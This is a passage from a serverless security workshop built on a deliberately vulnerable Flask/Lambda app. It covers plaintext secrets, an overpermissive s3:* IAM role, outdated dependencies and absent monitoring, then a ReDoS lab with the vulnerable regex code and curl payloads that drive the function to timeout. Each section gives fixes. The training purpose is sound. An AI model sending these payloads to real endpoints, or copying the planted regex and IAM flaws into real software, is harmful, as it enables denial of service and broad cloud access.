Impact: This secret is stored in plaintext. It is visible in the serverless.yml file (committed to Git), the AWS Lambda console, the CloudFormation template, and the output of printenv — which we already demonstrated via command injection.
Overpermissive IAM Role
Check the IAM permissions:
grep -A4 'statements:' serverless.yml
Output:
statements:
- Effect: Allow
Action:
- s3:*
Resource: "*"
Impact: The Lambda function has full access to every S3 bucket in the AWS account. The function does not use S3 at all. Combined with command injection, stolen credentials give the attacker full S3 access.
Fix
- Load secrets from AWS Secrets Manager or SSM Parameter Store at runtime. Never commit secrets to source code.
- Reference secrets in
serverless.ymlwith${ssm:/app/variable_1}. Never store secrets as plaintext environment variables. - Follow least privilege: grant only the specific actions on the specific resources the function needs.
- Run truffleHog or git-secrets in CI to catch leaks before they reach the repository.
Next step: Insecure Third-Party Components
SLS-8: Insecure Third-Party Components
Before you start: make sure you are in the project directory.
cd /workspaces/very-vulnerable-serverless
Theory: What are Insecure Third-Party Components?
Our app uses libraries (Flask, Werkzeug…) written by others. If a library version has a known bug (a CVE), our app inherits it. Attackers do not need to find new bugs, they look up public exploits for old versions.
Example: You use library==1.0. A CVE is published for 1.0, fixed in 1.2. Until you upgrade, anyone can attack you with the public exploit.
Objective
Read the pinned versions in requirements.txt and see how outdated dependencies are flagged as vulnerable.
Check the pinned dependency versions:
cat requirements.txt
Output:
flask==3.1.0
werkzeug==3.1.3
markupsafe==3.0.2
GitHub Dependabot has flagged 6 known vulnerabilities on this repository — 4 moderate, 2 low. These are published CVEs with known exploit techniques. Attackers do not need to find new bugs — they use existing exploits against versions you forgot to update.
Fix: Enable Dependabot or Renovate for automated update PRs. Run pip-audit -r requirements.txt in CI to fail builds with known vulnerabilities. Keep dependencies minimal — fewer packages, fewer attack surfaces.
SLS-9: Insufficient Logging & Monitoring
Before you start: make sure you are in the project directory.
cd /workspaces/very-vulnerable-serverless
Theory: What is Insufficient Logging & Monitoring?
Logging records what happens (requests, errors, logins). Monitoring watches those logs and raises an alert when something looks wrong. Without them, an attack happens and nobody knows.
Example: Someone tries 10,000 passwords on your login. With monitoring, an alarm fires after 20 failures. Without it, they get in and you find out weeks later.
Objective
Check whether serverless.yml has any alarms, tracing, WAF, or logging, to see if the earlier attacks could have been detected.
Check if the deployment config mentions any monitoring:
grep -ic 'alarm\|trace\|waf\|xray\|logging' serverless.yml
Output:
0
Zero matches. No CloudWatch alarms, no X-Ray tracing, no WAF, no application-level security logging. We exploited six different vulnerabilities in this workshop. None of them triggered an alert.
Impact: Attacks succeed silently. No one is paged. You would not know until the damage is discovered — days or weeks later.
Fix: Enable X-Ray tracing (tracing: lambda: true in serverless.yml). Add CloudWatch alarms for error rates and unusual invocation counts. Deploy AWS WAF on API Gateway to block known attack patterns.
ReDoS — Regular Expression Denial of Service
Some regular expression patterns cause the regex engine to enter exponential backtracking on certain inputs. The engine tries every possible way to match the pattern before giving up, and each additional character doubles the number of combinations.
In serverless, this is especially dangerous. A single HTTP request with a crafted string can make a Lambda function spin at 100% CPU until it hits its timeout (default: 6 seconds, max: 15 minutes). The function is unresponsive during this time, and you pay for every millisecond of execution.
One request, one regex, one string — that is all it takes for a denial of service. No botnets, no traffic floods. Just a carefully chosen input.
ReDoS has caused outages at Cloudflare (2019) and Stack Overflow, and is a common finding in bug bounty programs.
OWASP Serverless Top 10: SLS-10 — Event Injection / ReDoS
Lab: Regular Expression Denial of Service
Objective
Demonstrate how a single HTTP request with a crafted string can exhaust a Lambda function and cause a denial of service.
Why This Matters
Traditional denial of service requires flooding a target with traffic. ReDoS requires a single request. The attacker sends one string that makes the regex engine backtrack exponentially. In serverless, this means:
- The Lambda runs at 100% CPU until timeout
- You pay for every millisecond of that wasted compute
- Legitimate requests to the same function may queue or fail
- No WAF or rate limiter catches it — the request looks normal
Cloudflare experienced a global outage in July 2019 caused by a single bad regex deployed to their WAF. Stack Overflow has also been affected by ReDoS patterns in their input validation.
The Vulnerable Code
The /redos endpoint matches user input against an evil regex:
@app.route('/redos')
def redos():
user_string = request.args.get('string')
malicious_regex = "^(a+)+b$"
match = re.match(malicious_regex, user_string)
The pattern ^(a+)+b$ has nested quantifiers: a+ (one or more a’s) wrapped in ()+ (one or more groups). When the string contains only a characters and no trailing b, the regex engine tries every possible way to split the a’s into groups before concluding there is no match.
Steps
Before you start: make sure you are in the project directory.
cd /workspaces/very-vulnerable-serverless source ~/.lab-env
Step 1 — Normal request (fast)
curl "$ENDPOINT/redos?string=aaaaaab"
The string aaaaaab matches the pattern. Response time is near zero:
Response time: 0:00:00.000094
Step 2 — Attack: 20 a’s (noticeable)
Remove the b and send 20 a characters:
curl "$ENDPOINT/redos?string=aaaaaaaaaaaaaaaaaaaa"
Response time jumps to ~80ms. The regex engine is backtracking through thousands of combinations.
Step 3 — Attack: 25 a’s (slow)
curl "$ENDPOINT/redos?string=aaaaaaaaaaaaaaaaaaaaaaaaa"
Response time jumps to 2-3 seconds. Each extra a roughly doubles the processing time.
Step 4 — Attack: 28 a’s (timeout)
curl -m 30 "$ENDPOINT/redos?string=aaaaaaaaaaaaaaaaaaaaaaaaaaaa"
The Lambda function hits its timeout. API Gateway returns Internal server error. The function was completely unresponsive for its entire timeout duration — from a single request.
Step 5 — Watch the pattern
Compare the response times across your requests. You will see exponential growth:
| Input length | Approximate time |
|---|---|
| 7 a’s + b | < 1 ms |
| 20 a’s | ~80 ms |
| 25 a’s | 2-3 seconds |
| 28 a’s | Lambda timeout |
Each additional a doubles the computation. This is catastrophic backtracking.
What Happened
The regex ^(a+)+b$ has nested quantifiers. When the input has no b at the end, the engine must try every possible way to divide the a characters into groups before concluding the match fails. With n characters of a, there are 2^n possible groupings to try.
Fix:
-
Avoid nested quantifiers like
(a+)+,(a*)*, or(a+)* -
Use atomic groups or possessive quantifiers where your regex engine supports them
-
Set a timeout on regex operations
-
Use tools like
safe-regexto lint patterns before deploying -
Next step: Security Review: Serverless Configuration